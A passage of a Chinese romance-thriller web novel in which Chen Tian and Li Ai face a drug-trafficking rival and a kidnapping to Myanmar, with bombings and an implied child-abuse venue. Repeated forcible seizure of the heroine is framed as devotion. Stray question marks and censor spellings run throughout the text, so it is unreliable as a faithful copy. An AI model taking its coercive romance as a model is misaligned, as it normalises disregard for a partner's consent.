黎艾站在原地,怎么也迈不开?脚步。 “跑!” 陈添冲着她的背影发出一声低吼。 黎艾重重闭上眼。 好。 她跑。 但,在此之前,她还有一句话要说。 她转头,望向陈添,用沙哑得几乎不成音的声音开?口:“陈添,如果你?能活下来,我?们?重新开?始。” 陈添先?是一愣,而后笑起?来,“好。” “我?会活下来。” 他向她许诺。 有了他这句话,黎艾强行让自己?将头转回去,只是脚下仍旧如有千钧,还是难以迈出一步。 “往前跑,别回头。” 身后再?次传来陈添的声音,几行泪猝然滑落,黎艾终于迈开?脚步,往前跑。 泪水模糊了所有视线,她看不清脚下的路,也感受不到双脚存在,只凭着本?能,凭着陈添那一句话,往前跑着。 陈添最后看了眼她的背影,握紧手中的枪,转身,独自走进山林。 …… 平原上的风呼啸着,像死神的低吟。 “砰——” 山林里在不久后响起?一阵枪声。 黎艾知道,那是陈添故意放的一枪,为了不让那些人发现奔跑在平原里的她。 那一枪像正中她的心口,她心痛得快要不能呼吸,但她不能不呼吸,她还需要往前跑,拼命往前跑,跑到能看见支援的地方,带着支援,回去找他。 黎艾不知道自己?跑了多久。 没有了林荫的遮蔽,太阳很晒,全?身的水分?似乎都要蒸发,眼泪已经流不出来,但她感受不到热,也感受不到累与渴,唯一能感受到的,只有痛,她的心脏始终痛如刀绞。 这一次,她很听他的话,没有回头。 如果她回头,会看见,身后那片他们?一起?穿行了三个小时的山林在视野里缩成很小很小的一片。 他与陈添之间,已隔万米。 起?初,她还能听见山林里传出的枪声,现在她什么也听不见。 有枪声,那意味着,他还活着,此刻的死寂…… 她不愿去想,只管往前奔跑。 身体早已达到极限,但她始终没有倒下,因为不能倒下,她要是倒下了,谁还能带着人回去找他。 在不知多少次产生耳鸣后,她全?然已经模糊失焦的视野里,出现了几个黑点,她不知道是眼睛出了问题,还是等到了赶来支援的车队,知道发现那些黑点在不断扩大。 是车队!就是车队! 身体里所剩不多的水分?凝聚成最后一滴眼泪,眼泪砸下去,浸入土里,她倒下,又?被扶起?。 “快去救陈添,”她用最后的力气指向身后,“他在那片林子里。” 扶起?她的人将她抱上车,车上有救护人员,他们?给她注射了一些药液,但她什么感觉也没有,一直死死盯着前方,透过前挡风玻璃遥望着那片山林。 她跑了那么久的一段路,因为有车,显得不再?那么漫长,却又?无比漫长,于黎艾而言,这一生她再?没有一段路,比这段路更长了。 终于,车队抵达森林的边界。 黎艾第一个冲了出去。 本?来连站起?来都没力气的她,在山林里跑得比来时还要快。 山林里一片死寂,好在陈添身上还有另一枚定位器,他们?以最快的时间找到了他。 被找到时,陈添半躺在一棵树下,浑身都是弹孔,衣服被鲜血完全?浸透,身下的泥土都被他的血染红了一大片,过多的失血让身体变得僵硬无比,他已然没有办法动弹,但他的心脏还跳动着,眼睛也睁着,他在等—— 等一个人回来找他,和他重新开?始。 他等到了。 <正文完> 【正文完】 第55章 第 55 章 “陈添, 你?不去演戏简直是内娱一大损失。”这话,黎艾完全?是挫着后槽牙说出的。 “不演这么一出,”陈添笑得如沐春风,“哪听得到你?说爱我??” 黎艾愤愤盯着他。 她没有像之前那样绞尽脑汁去辩驳刚刚的话, 没什么用。 “所以, ”陈添朝她靠过来, 问她,“你?到底为什么要跑?” 如果只是觉得他们?在一起?会毁了他的前程,甚至会害死他, 但她不和他回去,他更可能会死,因为这一点,他其实一直想不明白,她非要离开?他的决心在哪里。 对于黎艾来说, 既然亲口承认了爱他的事实,孩子的事,也没什么好捂着的了。 不生孩子是她的原则,也是她现在唯一有可能说服他放手的底牌, 之前一直不告诉他, 是觉得大概率说了也没用,换来的很可能只会是耗人心神的争吵, 为了她,他连性?命都可以放弃,何况是生孩子这件事, 但到了现在这地步, 她没有别的办法与借口了。 “陈添,我?可以告诉你?我?为什么要跑, 但在此之前,我?要先?问你?一个问题,你?必须如实回答。”黎艾说。 陈添微眯了眯眼,“你?问。” “你?想跟我?生孩子吗?” 陈添没有立刻回答,他静静看着她,似在思索,再?开?口,他抛出的也是一个问句:“你?不想生?” 黎艾一愣。 “现在是我?在问你?!”她强调,声音拔高了些。 陈添却还是没有回答,继续问着她,“因为你?不想生,但觉得我?很喜欢孩子,又?觉得我?会为了你?放弃生孩子,你?不希望我?为你?牺牲太多,所以才跑,是吗?” “是!” 出乎意料,黎艾很干脆的承认。 黎艾并不想以这样的方式承认,原本?,她想先?让他承认他很想和她生孩子,再?问他,是不是将生孩子这件事当做了人生的必选项才决定放弃前程娶她,然后告诉他,她不会生,以此来说服他,但他已经猜到她的想法,自然不会被她牵着鼻子走,说出她想要的回答。 “陈添,你?不要跟我?说什么有没有孩子你?都可以接受,我?知道你?有多喜欢小孩儿,你?连当兵的信念都是孩子,我?不信如果没有孩子,你?不会觉得遗憾,”黎艾情绪这会儿有些激动,胸口起?伏得厉害,“明明你?不跟我?在一起?,你?什么都可以拥有,你?和我?一块儿,就算我?们?不结婚,保住你?的前程和性?命,但你?也怎么都不会有孩子,我?……” 喉头酸楚得一阵阵痉挛,黎艾实在难以连贯的继续说下去,汹涌的情绪宛如开?闸的洪水漫上眼眶,她强忍着,眼泪还是落下来,“我?不想你?为我?牺牲那么多,我?也不想承受这份负担,你?没办法圆满,我?也内疚痛苦,这样不健康的关系到底有什么必要维持下去?” 黎艾越往下说,眼里的泪流得越凶,情绪逐渐失控,“你?为什么就是非要抓着我?不放?为什么!” “黎艾,”陈添握住她的肩膀,试图让她冷静,“你?冷静一点听我?说。” “你?又?要说什么?我?知道我?说不过你?,你?总有你?的道理,有些事不是一两句话就……我?……”黎艾也不知道自己?在说什么,“我?心里就难受,我?心里就是难受,你?不要……” “黎艾!” 陈添蓦地大喊一声,打断她以及失控到混乱的情绪。 黎艾抬起?被泪浸湿的长睫看向他,两行泪无声滚落。 “黎艾,”陈添的声音又?低下来,语调温柔而有力,“我?不是一个贪心的人,如果我?们?能有孩子,我?会很开?心,但没有,我?也会满足,因为我?有你?,有你?就够了。” 他低颈,深深望进她的眼,告诉她:“孩子不是我?人生的必选项,你?才是。” 黎艾愣住,眼泪却还在滴落。 陈添轻轻帮她擦去眼泪。 半晌,黎艾将头偏向一旁,避开?他的触碰。 她知道他总有更胜一筹的话术,不管他把话说得多漂亮,她始终还是认为,分?开?对两个人更好,她没有那样强大的心脏,不结婚,她会没安全?感,结婚,会毁了他的前程,而孩子,更是始终无法化解的死结,他说有她他就满足,可当看到他和别人家的小孩站在一起?,她知道自己?会控制不住去想—— 他一定还是想要一个自己?的孩子吧。 她爱他,但也许,她更爱她自己?。 前程、生死、孩子,这些他那方面的问题他都已自圆其说,而她还是不愿意跟他回去,归根结底,是不愿意自己?活得太有负担,在她这儿,他的牺牲始终是成立的,她不想活在这种牺牲造就的负担之下。 一直以来,她看似都在为他考虑,但其实,她好像更注重的是她自己的感受,她就想轻轻松松毫无负担的过。 如果陈添真的就是要跟她死磕到底,那回到他身边,对两个人来说会更好,可他们?往后的岁月还长,在泰国,他们?离死亡大概率也还远,她还有大把的时间与他周旋。 如果陈其允真的能把他赶出泰国,等时间冲淡一切,他们?都会有更好的结局,就算陈其允落败,谁又?知道再?过几个月,几年,他会不会移情别恋,如果他当真那么深情,真的就非他不可,到时候她再和他回去也不迟。 于是,她说:“我?不接受。” “我?会让你?接受。”陈添语气平静,笃定。 “停车,我?要下车。” 说完这话,黎艾忽然发现,他们?就在陈其允的别墅外。 车子一直就围着外面?那条街转圈,压根没往别的地方开?。 陈添没想过今天就将她带走,猫还在陈其允那儿,就算黎艾愿意跟他走,陈其允肯定也不会放猫。 车停下来,但车门没开?。 黎艾推车门,没推动,这时,身后传来陈添低沉独特的嗓音。 “我?不会让你?在这里住太久,过不了多久,我?会把你?接出来。” “我?不需要你?接。” 彼时,黎艾脸上已看不出哭过的痕迹,表情冷淡。 陈添不打算与她再?争辩,今天听到她说她爱他,他已然挺满足,摆了摆手让司机开?门。 “咔”的一声轻响,车门打开?。 黎艾下车,径直往陈其允的别墅里走。 门口站着一帮人,在她离门口还有一段距离时,二十来号人有序往两边靠,中间让出一条路,一个穿着白色T恤的男人走到前面?来,一只手打着石膏。 “刚刚怎么回事?”男人问。 “没什么,某人演上戏了。”黎艾迈过他。 男人跟上去,“他要再?不放你?回来,我?一定再?送他去监狱。” 黎艾瞟一眼他打着石膏的右手,“你?还是少自讨苦吃吧。” 男人轻笑了声,“如果我?说,我?昨天其实挺开?心的,没觉得是自讨苦吃,你?会不会觉得我?疯了?” 对他说的,黎艾没有多吃惊,只眉尾微动了一下,停下来睨向他说:“你?早疯了,你?就是个受虐狂陈其允。” “被你?发现了啊,”陈其允缓缓扬起?唇,看向她的眼神里尽是病态的兴味,“什么时候你?才能再?扇我?一耳光?” “这么喜欢被扇,花钱雇个人专门扇你?不就得了?” “可我?就想被你?扇。” 黎艾心头微微一动,不是因为他而动,是因为这句话让她想到陈添曾经说的: 被骂不是我?的喜好,被你?骂才是。 “昨天我?是真的开?心,尤其吃饭那会儿,除了,”陈其允语调拉长了一秒,眼神沉了沉,“看到他亲你?的时候。” 黎艾不知道他要表达什么,也不想知道,转身就要走。 “黎艾。”陈其允喊住她。 黎艾脚下一顿,没继续往前走,但表情颇为不耐烦。 陈其允站在她身后,望着她的背影,“我?好像有点明白,他为什么非你?不可了。” 黎艾在感情上并非一个很木讷的人,他的上一句,她还可以能理解为是陈添让他失了面?子才让他恼怒,但加上这一句,那完全?就是明晃晃地在跟她表明心意。 黎艾转头,冷声同他说:“你?不明白。” 她和陈添有整整五年的感情,她和他,不过朝夕。 她没有再?和陈其允多说一句话,也没告诉他,她在陈添面?前承认了爱他的事。 是以,接下来的日子里,陈其允还让她配合着出演情侣,结果是一而再?再?而三的被陈添从他身边将她强行拽走。 一个月下来,黎艾打算给自己?放个假。 这天,陈其允有事出了门,黎艾带着二十来号保镖去郊外写生。 黎艾吃完午饭便出了门,一下午,无人打扰。 天气晴朗,郊外的风景很美,可惜傍晚天边浓云堆积,看不到落日与晚霞,黎艾遂收拾东西准备回去。 收拾到一半,身后传来汽车的引擎声,黎艾第一反应是皱眉。 回头,她看到不远处驶过来□□辆车,一群穿着黑T的男人从车里出来,看着像陈添的人。 两拨人面?对面?站着,也不知道是谁率先?动了手,很快四?十多号人就打作一团。 从那群人下车,到打起?来,左右不过两分?钟时间,黎艾压根没想到他们?会直接开?打。 这在郊外,两拨人打得不可开?交,不停有人摔到地面?,地上的沙尘扬起?来,像一场沙尘暴。 漫天的飞沙里,黎艾看到一双长腿从远处的黑色轿车里迈出来。 那双长腿的拥有者?穿过混乱的人群,来到她面?前。 耳边是让人难以忽视的打斗声,黎艾看着眼前的男人,本?就被点燃的情绪愈演愈烈,“你?又?想干什么?” “和我?去个地方。”说着,男人伸手过来握住她手腕。 黎艾用力将他甩开?,这一个月里,他每次就这样不由分?说地握住她的手,然后一次又?一次强行将她拽走,丝毫不考虑她的意愿,她真的烦透了,满腔怒火地冲他吼道:“陈添你?他妈没我?活不了是吧?!” 她是在骂他,没问他,他却回答:“是,没你?活不了。” “去你?妈的,你?以为你?情圣吗?你?就是个疯子!神经病!变态!” 像跟前打得失去理智的人一样,她全?然失控,忘了眼前这人就喜欢被她骂,上一次她这样不顾一切的骂他,还是几个月前,准备离开?他时,那个无比疯狂的夜晚。 陈添眼底掠起?笑意,眸色深了些,像沉浸进了某些疯狂、刺激又?快乐到近乎极致的回忆里。 他掀唇,表情愉悦,“继续骂。” 黎艾猛地愣住。 理智回拢,那一夜的回忆被骤然间勾起?,铺天盖地的浮现在脑海。 “继续啊,”陈添靠过来,“宝贝。” 黎艾用力紧抿双唇,狠狠瞪他。 “不闹了?” 黎艾不吭声。 陈添再?次去拉她的手腕,“那跟我?走。” “我?不走!” 黎艾死命将脚杵进土里,试图增加摩擦力让陈添拉不动她,但有用吗,没用,她就算把半边脚后跟埋土里当刹车片,陈添也能轻轻松松拉着她走二里地。 看她实在不情愿,陈添拉着她走了两步后停下来。 “你?跟陈其允一块儿住了这么久,知道他是干嘛的吗?” 被他这么没头没脑地问了一句,黎艾有些费解,“不就是跟你?一样做生意的。” 陈添哼笑一声,“我?可不做毒一品生意。” 黎艾双眸猛地睁大,“你?说什么?” “不相信?” 黎艾倒也不是不相信,但贩一毒这么大的罪名,当然不能只听一面?之词,“你?有什么证据?” “他要能让我?这么快就找着证据,那他在泰国这五年真白混了。” “没证据你?在这儿乱说什么?” “所以才带你?去看,我?的推测从何而来。” 黎艾微侧了下头,神情疑惑,这种?事还能推测? “去不去?”陈添问她。 “去。” 当然去。 她与陈其允虽然只是各取所需,但如果他真的贩一毒,她一定立马离开?泰国。 “走吧。” 陈添松开?她的手,走在前面?。 黎艾看了两秒他的背影,沉沉气跟上,和他进了同一辆车。 车辆驶离郊外,最终停下的地方也是一处城郊。 这边的建筑不像城市里那么密集,间隔百来米才有一栋房子,看建筑风格,不像私人房屋,更像是会所或茶肆之类的场所。 陈添带黎艾来的地方就是一个私人会所,他们?跟着侍应生进了间屋子,里面?就一张沙发,一张大理石桌,和一台投影仪。 拉着黎艾在沙发上坐下,陈添看了眼表,“还没到时间。” 他转头看向黎艾,“饿了吗?要不要吃点儿什么?” 黎艾是有些饿了,但她没说,也不用她说,陈添看了眼她表情后便伸手打了个响指。 侍应生躬身将点菜的iPad递给他,陈添接过,又?递给黎艾,“你?点。” 黎艾没客气,拿过来随便点了几个菜,陈添没点。 等菜上了,黎艾没管他,自顾自吃着,陈添倚在沙发上看她。 等黎艾吃到一半,叶尧敲了敲门从外面?进来,俯身在陈添耳旁说了些什么,然后将手里一枚U盘插进了投影仪。 黎艾放下筷子看向出现投影的那面?墙。 很快,投影里出现了一些场景,看着像是某个宴会的实时拍摄画面?,舞台上有一群孩子在表演。 站在前面?唱歌的小孩生着一副很容易辨认的中国面?孔,旁边弹琴的是名白人小孩,伴舞里则什么人种?的小孩儿都有。 小艺术家们?表演得特别好,舞台的灯光和布景也十分?具有观赏性?,但看着却怪怪的,既不像是在剧院,又?不像电视节目的演播厅,镜头有扫到一些舞台下的餐桌,餐桌离舞台非常近,完全?超出正常范畴的距离,就算是酒吧驻场歌手的舞台离酒桌都没那么近。 这样近的距离不像是在欣赏,更像是……挑选。 黎艾脑海里冒出这么个念头。 接着,镜头一转,黎艾在扔微微抖动的画面?里一眼看到了坐在台下的陈其允。 出于某种?直觉,黎艾眉头紧皱。 陈添在这时开?口:“知道他旁边坐着的那个泰国人是谁吗?” “不知道。” “警察总署署长。”陈添告诉她。 “警察总署署长又?怎么了?” 陈添缓缓开?口:“近二十年来,泰国共上任了8名警察总署署长,其中有五名都被查出涉毒。” 黎艾表情微怔。 陈添看着她,稍稍凑过来一些,掀唇笑道:“你?猜,这位警察总署署长,干净吗?” 黎艾知道陈添不仅仅是因此就推测陈其允贩一毒,转头看向投影的画面?,她问他:“他们?在干什么?” “知道萝莉岛吧?” 黎艾猛地一惊,愕然将头转回来看着陈添。 “你?看到的,”陈添告诉她,“就是泰国的萝莉岛。” 黎艾被惊得说不出话。 她眼底有顷刻烧得剧烈的怒意,双手紧握成拳,可隔着投影,她的怒火根本?无处发泄。 陈添在回答她上一个问题时就收起?了脸上的笑,此刻他表情冷肃,沉声问她:“想救他们?吗?” “怎么救?” “我?们?拿不到他们?侵害孩子们?的实质证据,所以想救他们?,只有一个办法,把他们?偷出来。” “偷出来?可这群小孩儿人数这么多,能怎么偷?” 陈添笑起?来,“当然需要借助一些非常手段。” 他这句话刚说完,黎艾只听投影仪里传来“嘣”的一声巨响,像是画面?里的建筑附近发生了爆炸,投影画面?剧烈摇晃了两下,紧接着,是第二阵爆炸声,第三阵……镜头里的人纷纷尖叫着抱头往外跑,舞台上的小孩儿们?有的哭喊着愣在原地,有的跟着台下的大人往外跑,但发生了爆炸,这些大人物怎么可能管小孩儿们?的死活,一个个迅速奔向了自己?私家车,立马驱车驶离。 这样的爆炸势必会引来警方和媒体,没有任何一个之前在台下坐着的人敢留在现场,而且爆炸持续不断的在发生,一声声爆炸完全?不给人任何的思考机会,尽管有人察觉异常,也只会选择先?上车离开?,是以没人察觉园子里突然多出了很多侍应生打扮的人将一个个孩子抱去了某个角落。 都搞出了爆炸,证明这是一场巨大的赌局,陈添所在的那一方一定进行了周密的谋划,所以,即便黎艾并没有看到孩子们?被救走的画面?,也丝毫不担心他们?会出事,只眉头紧锁地继续盯着投影的画面?,她断定,这场爆炸绝不会只是为了救出这帮孩子。 如她所料,这场爆炸还有后续,投影的内容在一分?钟后切换到了另一个镜头,从拍摄角度来看,投影仪内的程序连接的是某个建筑的室外监控。 画面?里,一辆又?一辆车飞驰而过,似乎都是从刚刚爆炸的那地方开?出的车。 忽然,投影仪里再?次传来巨大的爆炸声,一辆黑色轿车被炸出了车道。 爆炸产生的气浪使得监控画面?模糊了片刻,等监控稳定下来,画面?里那辆车的铁皮几乎已经完全?被炸毁,只剩一个车架在熊熊燃烧,可想而知,坐在车里的人必然已葬身火海。 黎艾瞪大双眼看着这一幕,瞳孔震颤着。 “猜得到里面?的人是谁吗?” 耳边传来陈添带笑的嗓音,黎艾怔怔转头看向他,看着他脸上的笑,表情比刚刚目睹那场爆炸还要惊恐,仿佛眼前的人是地狱里淌血的恶魔。 “你?……”嗓子里有明显的阻塞感,黎艾有些说不出话,也不知道该说什么。 这场爆炸,如果是他一手造成,那即便陈其允贩一毒,他们?两人谁又?比谁高尚,都是恐怖分?子。 “放心,不是陈其允,还有,”陈添补充,“这场爆炸也跟我?没多大关系。” “那被炸的人是谁?” 其实不难猜,但黎艾现在脑子根本?没法运转。 “森萨,那位警察总署署长。” 黎艾表情淡淡。 如果真如陈添所说,她刚刚看到的是泰国的萝莉岛,那这名所谓的警察总署署长可真该死。 “森萨一死,”陈添伸手抬起?黎艾的下巴,一边轻轻摩挲她的肌肤,一边缓缓笑起?来,“你?说,他现在拿什么跟我?争?” 黎艾一直都不知道陈其允背后的势力纽带,无法得知这名警察总署署长的死会给陈其允带来多大的损失,她也并不关心,毕竟陈其允说过,即便他输了,他也会带她去一个陈添找不到的地方,她现在关心的只有一件事:“你?不是说陈其允贩一毒?” “死人最适合用来背锅和定罪,森萨一死,如果他真的涉毒,下一任警察总署署长上任的第一件事,就是打击他背后的贩一毒分?子来作为政绩或撇清自己?的立场,而其中若有陈其允,他现在会做的也只有一件事,”陈添竖起?一根手指,笑着启唇,“跑。” 那么,要验证陈其允是否贩一毒就非常简单了。 想到陈其允如果真的会跑,黎艾忽然反应剧烈,“那你?赶紧送我?回去!” “你?觉得到了这种?关头,我?还可能让你?回去?” “那黎小二怎么办?!” 陈添愣了愣。 半秒后,他将视线移向一旁。 他不是没考虑过黎小二。 陈其允一定清楚黎小二是黎艾的软肋,所以即便他一次次把黎艾带走,陈其允始终没有过激的反应,知道只要黎小二还在,黎艾就肯定会回去。 黎小二是只猫,一只小小的猫,轻轻松松就能藏起?来,也随时可以拿来作为挟持的对象,他根本?没有办法从陈其允手里把黎小二抢出来。 看他的表情,黎艾当然什么都明白了。 “陈添,”黎艾的声音沉下去,“我?不会生孩子,但黎小二就是我?的孩子,我?不会丢下它。” “所以你?要回去?” 陈添自然也想到过现在的情况,他本?想试图让她相信,他日后会用尽一切办法把黎小二抢回来,但显然,黎艾铁了心要回去,他在问出这句话时就已经知道了她的答案。 黎艾朝他伸手,“给我?一把枪,我?会想办法把黎小二带出来。” 陈添定定看着她,两人对视。 陈添很清楚,今天他如果不让她回去,日后又?没能救出黎小二,那他与黎艾之间便真的彻底没了可能,但如果让她回去,他无法确定陈其允在被逼到这种?境地时会对她做出什么样的事,两者?相较,他当然宁愿选前者?,即便余生她都会恨着他,至少她还能在他身边,但看着她的眼睛…… 对视到最后,他一手伸向背后,取下腰间的枪递到她手上。 “陈其允要是带着你?跑了,就算跑到南极,跑到火星,我?也给你?追回来。” 他还看着她,说出的每一个字都带着死誓一般的决心。 “我?信你?。” 黎艾如是说。 她将枪放进包里,站起?来,“送我?回去吧。”- 黎艾回到别墅。 这会儿陈其允还没回来。 回来第一件事当然是去找黎小二,但黎艾没能找到。 她才刚刚迈入室内一步,很忽然地就被门口的保镖按在了地上,连一丝摸枪的机会都没有。 被按到地上时,她的身体贴在了冰冷的大理石板上,体温骤降,她整颗心也顿时凉了大半。 她很清楚,这意味着什么。 挣扎已然没有意义,她现在只盼着,对方不会注意到陈添在送她回来时为她戴上的那条装有定位系统的手链。 然而,她的希望很快落空。 两名男人带着她走向停在草坪上的一架直升机,在登上直升机之前,他们?用金属扫描仪检查了她的全?身,但凡是定位器,里面?必定含有金属,手链被他们?取下来丢在了草坪上。 黎艾转头看着那条手链,整个人被不安所笼罩。 被架进机舱,直升机很快起?飞。 看着一片漆黑的夜空,黎艾全?然不知自己?即将面?临什么,想到陈其允是一名毒一贩,她后背顷刻出了密密的一层冷汗。 作为一名中国人,对毒一贩的恐惧似乎刻进了骨子里,哪怕是再?不怕死的人。 在毒一贩手里,死算不了什么,活着才是最恐怖的事。 被巨大的恐惧包围,黎艾手脚冰凉。 比起?自己?可能会面?临被人注射毒一品,被折磨,被凌虐,她更怕,陈添也因为她落到陈其允手里。 此时的恐惧感达到了她生平的最高值,即便是陈添假装中枪时,她也没有害怕成这样。 那天就算陈添不是演戏,真的会死,也比落到毒贩手里好一万倍,更何况是一个恨他入骨,还因他断了财路,不再?有任何顾忌的毒一贩。 她不是没想过陈其允会立刻带她一起?跑,但因为有枪,她以为她至少还能选择自戕。 大概是陈其允一直以来从未对她动粗,让她丝毫没有料到她会这样轻易地被缴械。 那陈添呢? 他会想到一切最糟糕的可能吗? 她不知道。 现在她无法思考。 直升机在夜空里航行了两个小时,这两个小时里,黎艾一直在发抖,脑神经始终处于高度紧绷的状态,似乎随时都会崩断。 下了直升机,两个男人将她带到了一辆越野车上。 在车里,她听到他们?与其他人交谈的声音,用的不是泰语,她立刻意识到,现在他们?应该是在泰国和缅甸的边境。 缅甸…… 黎艾重重闭了闭眼。 她后悔了,后悔来泰国,后悔离开?中国,外面?的世界远比她想的要险恶,她以为自己?不怕死,就有着可以接受一切的心境,但她有太多都不能接受,在宿厘岛时,她还以为就算是他和陈添一起?死在那座岛上,也好过余生相互折磨,但在真正经历生死的考验后她才知道,她无法接受陈添因她而死,她想他好好活着。 此刻,她下了个决心: 如果这一次,她和陈添能平安,她会和他回到中国,回到他身边。 是在这样的处境下,她才想明白,陈添如果做不到如他所说一辈子认定了她,他们?一直在一起?他也会做不到,而如果他真的就是一辈子认定了她,他们?就算一直不在一起?,他也还是始终会孤身一个人,不会走向她期盼他拥有的那个结局,根本?无需浪费几年的时间去验证。 意外和死亡随时都可能降临,既然相爱,那就该珍惜每一天,好好在一起?。 这样的觉悟,如果不经历这些,很难让人真正放下那些隔阂,只有经历过,才会知道什么是: 生死之外无大事- 在边境短暂停留一段时间后,车子进入了缅甸境内,在中途换了一辆车又?经历长达十小时的颠簸后,车子进入了一个寨子。 从车窗望出去,能看到大片大片的罂粟田,正值花期的罂粟艳丽如血,血染大地,花海美如梦境,却是真实的人间炼狱。 黎艾想起?来,陈其允跟她说过,会带她去一个陈添找不到,而她并不愿意去的地方,一定就是这里了。 这里,她的确死也不愿意来。 车子最终停在一栋木屋前。 她被带下车,木屋的门打开?,里面?走出一个男人。 男人戴了副眼镜,长着一张学生时代?成绩很好的学霸脸,五官清俊,模样和陈其允看着有几分?神似,但两个人的气质大相径庭,眼前这人即便戴着眼镜也丝毫掩盖不住一身的凶悍匪气,一眼便能让人分?辨出,这是个极度危险的人物。 两人之间有着几米的距离,男人抽着一支雪茄朝黎艾走过来。 待距离近了,他脸上挂起?一抹笑。 “欢迎来到缅甸,黎小姐。” 他的声音是清润的,带笑的,却听得人骨缝发冷。 黎艾盯着他,一言不发。 “黎小姐,我?看过你?的电影,你?本?人比电影里还要漂亮很多。” 这话,黎艾听太多人说过。 “对了,”男人轻挑唇,“忘了自我?介绍,我?叫陈江川,我?知道你?不认识我?,但你?认识我?哥,亲哥。” “你?哥是陈其允?”黎艾开?口。 “不然?难道还能是陈添?” 听他提到陈添,黎艾眉头一蹙。 “黎小姐不用紧张,我?跟我?哥不一样,对陈添没什么意见,那些陈家人都想要的位置,我?不稀罕,一个规矩多得要死的破地方,哪有在这里自在。”陈江川张开?手臂,笑得恣意且傲然。 “不过,”他语调忽然一沉,眼神也瞬间变得阴鸷,“我?现在对他很有意见,他挡了我?的财路。” 黎艾心脏骤然一缩,神色紧结地问他:“你?想做什么?” “当然是让他赔偿我?的损失,”陈江川又?再?次笑起?来,“所以我?请黎小姐来做做客,你?在这儿,他才能心甘情愿地送来我?损失的钞票,还有……” 他语调拉长,唇边笑弧扩大,“他的脑袋。” 脑子里有一瞬的空白,接着,黎艾眼底爆发出滔天怒意,恨不得用眼神将他生吞活剥。 看着她的表情,陈江川脸上笑意愈浓。 因为太过愤怒,黎艾没有听到身后在这时传来了车辆的引擎声,直到另一个人影冲到她面?前。 “黎黎!” 会在这里这样喊她的,自然只有陈其允。 陈其允紧张地握着她的双肩,视线慌张地上下查看她是否有受伤或别的痕迹。 “哥,你?真觉得我?会对你?的女人做什么?”陈江川看陈其允那一脸紧张的表情,笑了声,“挂你?电话只是吓吓你?,你?也该体会体会我?的心情。” 知道黎艾没事,陈其允冷静下来,转头看向陈江川。 他似乎有些无言面?对陈江川,沉默着没有开?口。 “哥,”陈江川朝陈其允迈过来两步,“如果不是你?把陈添引来泰国,死一个森萨也不是什么大事,但现在,你?知道现在我?要花多少钱才能打通泰国政府吗?” 面?对他的质问,陈其允低下头,“是我?的问题,你?想怎么处置我?都可以,别难为她。” 陈江川抬起?胳膊将手放到陈其允肩膀上,“你?是我?哥,我?怎么会处置你?,没有你?当初帮我?逃出来,也没有现在的我?。” “那你?把她绑来干什么?” “不把她绑来,我?怎么向陈添拿回我?的损失?” 陈其允一愣。 陈江川笑笑,“我?已经给陈添打了电话,让他拿三百亿来换黎小姐,本?来我?想让你?去见他最后一面?,但我?怕你?因为女人心软放过他们?,所以,哥哥你?就在这寨子里好好待着,我?亲自去会会你?的这位宿敌。” “你?……”陈其允顿了顿,“什么意思?” “放心,”陈江川拍了拍他肩膀,“我?会把黎小姐给你?带回来,顺便把陈添的脑袋也给你?带回来。” 陈其允脸色顿时变得煞白。 没人知道他在想什么。 “川哥,”旁边一个男人走过来,“可以出发了。” 陈江川笑着最后拍了下陈其允的肩膀,“哥,等我?好消息。” 陈其允看向被拉到一边的黎艾,眼神复杂。 他似乎想向她走过去,可最终直到黎艾被人带上车,他始终站在原地,一步未移。 这次被带上车,车子从另一个方向出了寨子,黎艾在车上看到在田坎上奔跑欢笑的小孩儿,路边的屋檐下,能看见一些分?不出年龄的男女,个个身材干瘪得可怕,只剩下一层枯木般的皮,眼神空洞麻木,像坐着在等死。 那些欢笑着的小孩儿大概还从未想过,他们?也会像这些人一样,被这座寨子吸干所有血肉,变成一具被罂粟将灵魂啃噬殆尽的干尸。 车子摇摇晃晃地行驶了五个小时,于一天里晴光最好的时刻,停在一处极其开?阔的平原上。 透过前挡风玻璃,黎艾能看到有两辆车在前方的空地处停着,距离还很远,她看不清车内那些人的面?孔,但光凭一个模糊的轮廓,她便能认出,其中一辆车上坐着的人,是陈添。 泪水在一瞬间模糊了双眼。 陈添一定知道,来这一趟,他很可能会用这三百亿和他的性?命换来竹篮打水一场空,但他还是来了。 她也知道,哪怕只有百分?之一,千分?之一,万分?之一的可能救回他,他也一定回来,甚至救出她的概率为零,他还是会来。 来看看她。 傻子。 这世上再?没比他更傻的人。 这十多个小时,黎艾害怕得浑身发冷,浑身颤抖,心脏像随时会在下一秒停掉,但她没哭,这一刻,她只是看到一个模糊的影子,眼泪就再?也止不住。 眼泪漫过瞳孔,让那抹人影变得更加模糊,她的手被绑在身后,没办法擦去眼泪,她想看得清楚一些,只能眨眼,让眼睑将眼泪挤出眼眶,可泪水实在太汹涌,哪怕离得近了,她也怎么都看不清。 他在她眼里始终是模糊的,虚化的,像怎么都抓不住的梦。 车停下来,坐在副驾驶的陈江川拿起?一个对讲机,对着对讲机开?口:“哥,三百亿准备好了吗?” 下一秒,黎艾听见对讲机里传来陈添的声音:“要清点吗?” 耳朵嗡的一声,黎艾眼底的泪愈发汹涌,听着他的声音,她忽觉心底一阵抽痛,像活生生抽掉一根骨头,疼得她全?身都不能动弹。 “当然不用,”陈江川笑着透过后视镜看了眼黎艾,“黎小姐在这儿,我?想你?绝不会少一分?钱。” “钱在车后面?,你?让人来搬,我?现在下车,把黎艾还我?,不要耍花样,这车上我?放了炸弹,引爆按钮在我?的牙齿上,只要我?用力一咬,你?们?所有人都得死。” 对讲机里传出的声音冷静、沉稳。 陈江川的笑容凝固在脸上。 半晌,他才接着开?口:“真不愧是你?啊,陈添。” 陈添只回了他五个字:“把黎艾还我?。” “还你?,现在就还。” 陈江川朝后面?做了个手势。 后座的一名男人取下黎艾口中的毛巾,带着她下车。 看到黎艾出来,陈添也立马下车,将身体完全?暴露在对方的攻击范围内。 男人将黎艾一把推过来,陈添奔过来伸手接住她。 被熟悉的气息包围,黎艾在他怀里抬头,终于,她看清了他的脸。 在他的瞳孔里,她也看到了自己?影子。 像是死去一回又?活了过来,此时此刻,她才感受到眼前的他是真实的。 “没事了,我?来接你?了,”陈添伸手为她擦去眼泪,笑着对她说,“黎小二我?已经接出来了,我?带你?回去见它。” 黎艾忍住眼泪,点头。 “我?们?先?上车。” 车上装的是防弹玻璃,现在陈江川的都下来了,正朝着这辆车的后座走,他们?最好不要拿后背对着他们?,有什么话上车再?说更好,但这个关头,并不适合谈情说爱,黎艾和陈添上车后没有再?说话,陈添在为她剪断身上的绳索后始终保持警惕地盯着前方,但也没忘伸手与她十指紧扣。 车后面?的金条与现金很快被搬空,对讲机里响起?陈江川的声音:“你?们?可以走了。” 